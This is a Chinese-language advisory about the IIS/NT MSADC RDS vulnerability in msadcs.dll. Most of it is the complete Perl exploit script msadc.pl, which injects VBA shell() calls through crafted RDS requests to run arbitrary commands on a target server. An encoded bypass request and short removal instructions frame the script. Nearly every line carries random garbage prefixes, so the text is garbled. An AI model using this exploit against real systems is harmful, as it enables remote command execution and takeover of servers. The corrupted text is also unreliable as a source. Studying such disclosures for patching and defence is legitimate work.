IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\PZ;y=]p} ,Y|
;V 涉及程序：
G,+3(C Microsoft NT server
D'%M# S0 -`\n/"#X6i 描述：
CXuMNa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9]T61Z{OW1 :3s^, g 详细：
ci+a jON 如果你没有时间读详细内容的话，就删除:
>`[+24e c:\Program Files\Common Files\System\Msadc\msadcs.dll
&*8.%qe; 有关的安全问题就没有了。
Mig l D D 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
CX2qtI8N? 3=?,D v0P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
7k%!D"6_R 关于利用ODBC远程漏洞的描述，请参看:
;F uST W@z xGH$z> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2^=.f? _YR `tuGy}S2
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
U)i BeYW: http://www.microsoft.com/security/bulletins/MS99-025faq.asp .i )n1 E:uTjXt 这里不再论述。
Jq" 3xj !K2QD[x 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
xEq? [ M O` !X W8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ml)\R L 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
sUQ
Q/F6 ,* \s T t Wzjt #将下面这段保存为txt文件，然后: "perl -x 文件名"
LEN=pqGJ . pI. 8Ip_r #!perl
u^i3 @JuX #
a*&&6Fo # MSADC/RDS 'usage' (aka exploit) script
tCRsaDK> #
MOyt xl:R # by rain.forest.puppy
^R
:zma #
"E4CQL'U # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ang~_Ec. # beta test and find errors!
NYKYj`K ;gAL_/ _ use Socket; use Getopt::Std;
pVzr ]WFx getopts("e:vd:h:XR", \%args);
BW3Q03SW6 m$hkmD| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'~7zeZ' -2u )orWP if (!defined $args{h} && !defined $args{R}) {
h3GUFiZ. print qq~
L?M
x"
Usage: msadc.pl -h <host> { -d <delay> -X -v }
e]dFNunFq0 -h <host> = host you want to scan (ip or domain)
Nw"?~"bo -d <seconds> = delay between calls, default 1 second
;;C2t&( -X = dump Index Server path table, if available
)lz)h*%# -v = verbose
x|c_( -e = external dictionary file for step 5
Hj `\Fm*A m;1/+qs0 Or a -R will resume a command session
9s7TLT k N9*QQ0 ~; exit;}
e_l|32#/ (!efaj $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TI2K_' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4MzPm ~Ct if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}}rp/16 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
j0Cj&x%qF} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
tv~Y5e&8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o xUBlye t.\ Pn4 if (!defined $args{R}){ $ret = &has_msadc;
eR`Q7]j] - die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
48 0M|^
c4Q9foE
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&s Yxe:H . "cmd /c ";
OZz!8-|wE $in=<STDIN>; chomp $in;
^B}q@/KV $command="cmd /c " . $in ;
%<p/s ;eu 5eyB\>k, if (defined $args{R}) {&load; exit;}
QUZ+#*:s
M_%c9g@x print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z
yp3 +| &try_btcustmr;
iweT @ P` A>mk0P)~Q print "\nStep 2: Trying to make our own DSN...";
Akw s I@@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
k!bJ&} Q(b -eD]gm print "\nStep 3: Trying known DSNs...";
}J-e:FUF# &known_dsn;
1_;{1O+B 8X278^
# print "\nStep 4: Trying known .mdbs...";
~4twI*f &known_mdb;
=[ Z3]#h G;[O~N3n. if (defined $args{e}){
~6O~Fth print "\nStep 5: Trying dictionary of DSN names...";
R[* n3
wB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!g)rp`? , )TnIByM print "Sorry Charley...maybe next time?\n";
h qhX exit;
2 J3/Eu ][#|5UK8L ##############################################################################
.RAyi>\e H;q[$EUNb sub sendraw { # ripped and modded from whisker
6hcK%0z sleep($delay); # it's a DoS on the server! At least on mine...
@o#Yq
n3Y my ($pstr)=@_;
Nz*,m'-1e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rQ2TPX<?a die("Socket problems\n");
!mB
`F C if(connect(S,pack "SnA4x8",2,80,$target)){
C?W}/r[ select(S); $|=1;
.N# KW print $pstr; my @in=<S>;
vg"*%K$a select(STDOUT); close(S);
p=kt+H&; return @in;
suFk<^3 } else { die("Can't connect...\n"); }}
WIAukM8~ k{hNv|:, ##############################################################################
0jPUDkH* ^ZRZ0:rZ sub make_header { # make the HTTP request
cW"DDm
g my $msadc=<<EOT
jP 2#w{xq POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
bC) <K/Q9 User-Agent: ACTIVEDATA
rce._w } Host: $ip
a"t~ K Content-Length: $clen
4gVIuF*pS Connection: Keep-Alive
4vvQ7e7 iE_[]Vgc ADCClientVersion:01.06
ma<uXq Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6R$Yh0% R9"}-A --!ADM!ROX!YOUR!WORLD!
% -+7=x Content-Type: application/x-varg
y7r T[f/J Content-Length: $reqlen
%3"U|Za+ .Y8P6_ EOT
cq3Z}Cp ; $msadc=~s/\n/\r\n/g;
lk R^2P return $msadc;}
W! Hn`T TiG?r$6v% ##############################################################################
{X_I>)Wg 9 HlWoHuC sub make_req { # make the RDS request
a 'n17d& my ($switch, $p1, $p2)=@_;
d+ZXi' my $req=""; my $t1, $t2, $query, $dsn;
\1n (Jr.< 9Nx%Sdu if ($switch==1){ # this is the btcustmr.mdb query
I _N:j,Mx
$query="Select * from Customers where City=" . make_shell();
\d]Y#j< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2m*/$GZ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
BSJS4+,E K@ *4=0 elsif ($switch==2){ # this is general make table query
.c @Y ?..+ $query="create table AZZ (B int, C varchar(10))";
]%FP*YU4O $dsn="$p1";}
@,c` #,F/ KK6z3"tk5 elsif ($switch==3){ # this is general exploit table query
>msQ@Ch $query="select * from AZZ where C=" . make_shell();
V[WL S ?-) $dsn="$p1";}
%W=BdGr[8z X=lsuKREZ elsif ($switch==4){ # attempt to hork file info from index server
2i
!\H$u` $query="select path from scope()";
~ F- lO1 $dsn="Provider=MSIDXS;";}
SXO.|"M cu '( Hj elsif ($switch==5){ # bad query
G)M! ,
Q $query="select";
HD2C^V2@M $dsn="$p1";}
2Qh)/=8lM '$'a .q1q9 $t1= make_unicode($query);
i: jB $t2= make_unicode($dsn);
Dsc0 ;7~6 $req = "\x02\x00\x03\x00";
njO~^Hl7 $req.= "\x08\x00" . pack ("S1", length($t1));
Yo=$@~vN] $req.= "\x00\x00" . $t1 ;
o~L(;A]yN $req.= "\x08\x00" . pack ("S1", length($t2));
~Lg ;7i1L
$req.= "\x00\x00" . $t2 ;
9k6/D.Dz $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
uqa
pj (" return $req;}
BIew\N
YK$[)x\S ##############################################################################
iVf7;M8O t.VVE:A^% sub make_shell { # this makes the shell() statement
]) %UZM6 return "'|shell(\"$command\")|'";}
h| `R[ 0E,QOF{o ##############################################################################
fR+{gazk
n l?V#; sub make_unicode { # quick little function to convert to unicode
A"s?;hv\fS my ($in)=@_; my $out;
j {2 0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
B.;@i;7L return $out;}
3^ -R_ ~gOZ\ jm} ##############################################################################
HY?#r]Ryt ocMTTVo sub rdo_success { # checks for RDO return success (this is kludge)
v0=v1G*rvJ my (@in) = @_; my $base=content_start(@in);
c#1k g@q@ if($in[$base]=~/multipart\/mixed/){
(!J;g|58 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^8] 7
return 0;}
:F#^Q%-IS Q-#<{' ( ##############################################################################
#h
U4g X, \.p;
4V& sub make_dsn { # this makes a DSN for us
LHu my @drives=("c","d","e","f");
p5w9X+G% print "\nMaking DSN: ";
#Ufb foreach $drive (@drives) {
1[#sHj$Na` print "$drive: ";
J=(i0A my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Bg zq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
uudd'L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
J7%rPJ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6gO(
8 return 0 if $2 eq "404"; # not found/doesn't exist
GO@<?>K if($2 eq "200") {
U>bIQk"4 foreach $line (@results) {
'irwecd8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`
"-P g5 } return 0;}
skTa IGRL r$'.$k\ ##############################################################################
]@Z
nP,8 ,O:p`"3`0= sub verify_exists {
1ah,Zth2 my ($page)=@_;
,Shzew+ my @results=sendraw("GET $page HTTP/1.0\n\n");
wq!9wk9 return $results[0];}
:hW(2= % tX@y ] " ##############################################################################
A
#m _w* m .(\u?J sub try_btcustmr {
L:mE)Xq2 my @drives=("c","d","e","f");
2_o\Wor# my @dirs=("winnt","winnt35","winnt351","win","windows");
9) $[W U:eX^LE7 foreach $dir (@dirs) {
<SOG?Lh~ print "$dir -> "; # fun status so you can see progress
,{msJyacmR foreach $drive (@drives) {
d)D!np= print "$drive: "; # ditto
,`!lZ|
U $reqlen=length( make_req(1,$drive,$dir) ) - 28;
02tN=}Cj) $reqlenlen=length( "$reqlen" );
-aE,KQ $clen= 206 + $reqlenlen + $reqlen;
F9r/
M"5 "rEfhzmyF my @results=sendraw(make_header() . make_req(1,$drive,$dir));
jq8TfJ | if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8fBhX,1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*P]]7DR .d$Q5Qae ##############################################################################
'@w'(}3!3R |8[!`T*s sub odbc_error {
2J$vX( my (@in)=@_; my $base;
.0gfP4{1{ my $base = content_start(@in);
*=v%($~PK6 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
w^ofH-R/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aaN/HE_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ePI N<F;I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ydY 7 :D return $in[$base+4].$in[$base+5].$in[$base+6];}
a.JjbFL print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|22 vNt_ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`' EG7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qdKqc,R1{ ^;( dF<?'r ##############################################################################
4b`Fi@J\ "AK r ;|m sub verbose {
%hZX XpuO my ($in)=@_;
k q?:< ! z return if !$verbose;
G/fBeK$. print STDOUT "\n$in\n";}
uV@' 898%5 >=:mtc ph ##############################################################################
M6qNh`+HO G,^ ?qbHg sub save {
Q*1'k %7 my ($p1, $p2, $p3, $p4)=@_;
@p^E Xc*| open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7t}s5}Z 4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
k{b|w ') close OUT;}
u ysTyzx T"C.>G'[B ##############################################################################
,)J>8e V (18ZEKk sub load {
#Yp&yi
} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fO^s4gWTg open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_dCDT$^&r @p=<IN>; close(IN);
YDYNAOThnb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
HrFbUK@@ $target= inet_aton($ip) || die("inet_aton problems");
$3&XM print "Resuming to $ip ...";
XkoPN]0n $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
+t& ) Z if($p[1]==1) {
;V?(j 3b[ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
KHC Fz $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
AW|SD my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
t] ]Ig if (rdo_success(@results)){print "Success!\n";}
0:4>rYBC else { print "failed\n"; verbose(odbc_error(@results));}}
_K'Y`w'] elsif ($p[1]==3){
][V`ym-e if(run_query("$p[3]")){
0c!^=( print "Success!\n";} else { print "failed\n"; }}
KD +&5 =Y elsif ($p[1]==4){
`_ M+=*} if(run_query($drvst . "$p[3]")){
4oryTckS print "Success!\n"; } else { print "failed\n"; }}
V6((5o# exit;}
Knb( MI6 b2[U3)|oO ##############################################################################
OkISR j'!U yI07E "9 sub create_table {
Fn4yx~ 0 my ($in)=@_;
O:T
49:R}r $reqlen=length( make_req(2,$in,"") ) - 28;
5[)#3vY $reqlenlen=length( "$reqlen" );
ya^8mp- $clen= 206 + $reqlenlen + $reqlen;
C\ Yf]J my @results=sendraw(make_header() . make_req(2,$in,""));
>t'A1`W return 1 if rdo_success(@results);
O&;d8 2IA{ my $temp= odbc_error(@results); verbose($temp);
K]M@t= return 1 if $temp=~/Table 'AZZ' already exists/;
T;{ :a-8 return 0;}
(. YSs EL z5P}L6 ##############################################################################
:) B1|1 }0@@_Y]CC sub known_dsn {
s?->2gxhx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Y+vIU*O my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
S # baOO "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
i`];xNR' "banner", "banners", "ads", "ADCDemo", "ADCTest");
O<,\ tZ'N 8Exky^OT| foreach $dSn (@dsns) {
?@FqlWz , print ".";
!T
,=kh next if (!is_access("DSN=$dSn"));
`Je1$)% if(create_table("DSN=$dSn")){
QOrMz`OA print "$dSn successful\n";
g=q aq
if(run_query("DSN=$dSn")){
/iQh'rp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J >;r(j print "Something's borked. Use verbose next time\n";}}} print "\n";}
`r3 klL,W' bXXX-X c ##############################################################################
gYk5 }E- 6o9&FU sub is_access {
R ;A8y my ($in)=@_;
?P>4H0@I+ $reqlen=length( make_req(5,$in,"") ) - 28;
dvZlkMm
$reqlenlen=length( "$reqlen" );
k2,`W2] ^E $clen= 206 + $reqlenlen + $reqlen;
,mi7WW9 my @results=sendraw(make_header() . make_req(5,$in,""));
K4]Z VMm/* my $temp= odbc_error(@results);
5|Z8UzL verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F!/-2u5gF return 0;}
O#O" ]A $ # GuV' ##############################################################################
yuJ>xsM '
;nG4+K sub run_query {
;E.f% my ($in)=@_;
n$7 *L9)(C $reqlen=length( make_req(3,$in,"") ) - 28;
NW3qs`$-( $reqlenlen=length( "$reqlen" );
)flm3G2u $clen= 206 + $reqlenlen + $reqlen;
\awkt!Wa my @results=sendraw(make_header() . make_req(3,$in,""));
-Q? c'e return 1 if rdo_success(@results);
\QF0(*!! my $temp= odbc_error(@results); verbose($temp);
D Y4!RjJ47 return 0;}
Gx}`_[- zOFHdd ,"g ##############################################################################
n|DMj[uT Yh @2m9 sub known_mdb {
A8ef=ljM? my @drives=("c","d","e","f","g");
k4u/v n`&r my @dirs=("winnt","winnt35","winnt351","win","windows");
_29 wQn@ ] my $dir, $drive, $mdb;
" XLtrAu{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Yl"CIgt "zQ<)Q]U # this is sparse, because I don't know of many
U @n5:d= my @sysmdbs=( "\\catroot\\icatalog.mdb",
z\8s |! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
o:3(J } "\\system32\\certmdb.mdb",
>B K/HuS "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kw gLK@@%1 `VUJW]wGu my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
2 @T~VRy "\\cfusion\\cfapps\\forums\\forums_.mdb",
#G`K<%{?f "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
5VQ-D`kE+ "\\cfusion\\cfapps\\security\\realm_.mdb",
H8dS]N~[Y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=2NrmwWZs "\\cfusion\\database\\cfexamples.mdb",
W+U0Y,N 6 "\\cfusion\\database\\cfsnippets.mdb",
}gt)cOaY "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
birc&< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-U
A &Zt "\\cfusion\\brighttiger\\database\\cleam.mdb",
JXq!v:w6 "\\cfusion\\database\\smpolicy.mdb",
~jHuJ` ]DF "\\cfusion\\database\cypress.mdb",
N81M9#,["~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
I^u ~r. "\\website\\cgi-win\\dbsample.mdb",
Kr1Y3 [iNv "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
oz,.gP% "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Buh}+n2]5 ); #these are just
`^'fS@VA foreach $drive (@drives) {
* jPd=+d foreach $dir (@dirs){
wQd8/&mmk foreach $mdb (@sysmdbs) {
dPf7o
print ".";
7[mfI?*m if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+ TaxH ; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5k Q@]n:<k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
yqL" YD print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
kTI5CoXzq } else { print "Something's borked. Use verbose next time\n"; }}}}}
Q 3^h S^p^)
fAmF foreach $drive (@drives) {
$@]
xi foreach $mdb (@mdbs) {
ZnzO] print ".";
FkuD Gg~a if(create_table($drv . $drive . $dir . $mdb)){
>qr/1mW print "\n" . $drive . $dir . $mdb . " successful\n";
[{GN#W|AGP if(run_query($drv . $drive . $dir . $mdb)){
SDE$ymP x print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
GRkN0|ovfj } else { print "Something's borked. Use verbose next time\n"; }}}}
f_xv X f: }
9Oq(` 4 |K{ d5\_ ##############################################################################
c?. i;4yh w%X@os}E sub hork_idx {
U] GD6q print "\nAttempting to dump Index Server tables...\n";
4pQf*l8e print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
j|&D(]W/ $reqlen=length( make_req(4,"","") ) - 28;
zy"k b $reqlenlen=length( "$reqlen" );
L]!![v.VY $clen= 206 + $reqlenlen + $reqlen;
#ley3rJW] my @results=sendraw2(make_header() . make_req(4,"",""));
h!|U j if (rdo_success(@results)){
r<:d+5" my $max=@results; my $c; my %d;
@H4]Gp ] for($c=19; $c<$max; $c++){
f sw[ R0B $results[$c]=~s/\x00//g;
\f(zMP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
E"S# d&9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
` V [4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
C,$o+q*)W9 $d{"$1$2"}="";}
w%iw xo foreach $c (keys %d){ print "$c\n"; }
`sso Wn4 } else {print "Index server doesn't seem to be installed.\n"; }}
W}3%BWn } eHxw+. ##############################################################################
o 7tUv"Rs <rK[ &JlJ sub dsn_dict {
.s,04xW\ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
gt( p %~ while(<IN>){
}d>.Nj#zh $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
QKq4kAaJ! next if (!is_access("DSN=$dSn"));
|%ZJN{!R if(create_table("DSN=$dSn")){
:3D6OBkB print "$dSn successful\n";
YG:^gi if(run_query("DSN=$dSn")){
(Sgsy^|N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
tD}-&"REP print "Something's borked. Use verbose next time\n";}}}
6B7*| R> print "\n"; close(IN);}
NQZ /E )f Er t={"Q ##############################################################################
!uIY , vWM&4|Q1~ sub sendraw2 { # ripped and modded from whisker
0,0 Z!-Y sleep($delay); # it's a DoS on the server! At least on mine...
'Q : %s my ($pstr)=@_;
uYg Q?*Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4
?PB
Fbd die("Socket problems\n");
Kb {&a if(connect(S,pack "SnA4x8",2,80,$target)){
U5~aG!E print "Connected. Getting data";
0#8, (6 open(OUT,">raw.out"); my @in;
;]m;p,$ select(S); $|=1; print $pstr;
32SkxcfrCK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)AR- b8..o close(OUT); select(STDOUT); close(S); return @in;
\< T7EV. } else { die("Can't connect...\n"); }}
H? Q--pG8 hE`d@ ##############################################################################
!z4I-a sZr \mQ~ sub content_start { # this will take in the server headers
}[UH1+`L my (@in)=@_; my $c;
pL;e(lM for ($c=1;$c<500;$c++) {
~?fl8RF\ if($in[$c] =~/^\x0d\x0a/){
MD<x{7O12> if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
n w`rH* else { return $c+1; }}}
YsVKd h return -1;} # it should never get here actually
e Ru5/y~ HK<S|6B7V ##############################################################################
u pUJF`3 26k~Z} sub funky {
O#18a, o @ my (@in)=@_; my $error=odbc_error(@in);
&g23tT#P? if($error=~/ADO could not find the specified provider/){
WoGnJ0N q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
71P. 9Iz exit;}
![r)KE=v8I if($error=~/A Handler is required/){
0)b1'xt', print "\nServer has custom handler filters (they most likely are patched)\n";
"9aFA(H6w exit;}
er-0i L@ if($error=~/specified Handler has denied Access/){
Vjt7X"_/ print "\nServer has custom handler filters (they most likely are patched)\n";
tx9 %.)M:n exit;}}
tKLeq( MnF|'t ##############################################################################
2}/r>]9^- - ry sub has_msadc {
Yu_
eCq5/ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4~$U#$u_ my $base=content_start(@results);
~J+
qIZge return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e],(d7 Jo return 0;}
RfD#/G3| t g-(e=S4P ########################
DBcR1c&<H +4T.3Njjn F}meKc?a 解决方案：
hrzxc4,W 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>yT1oD0+x 2、移除web 目录: /msadc
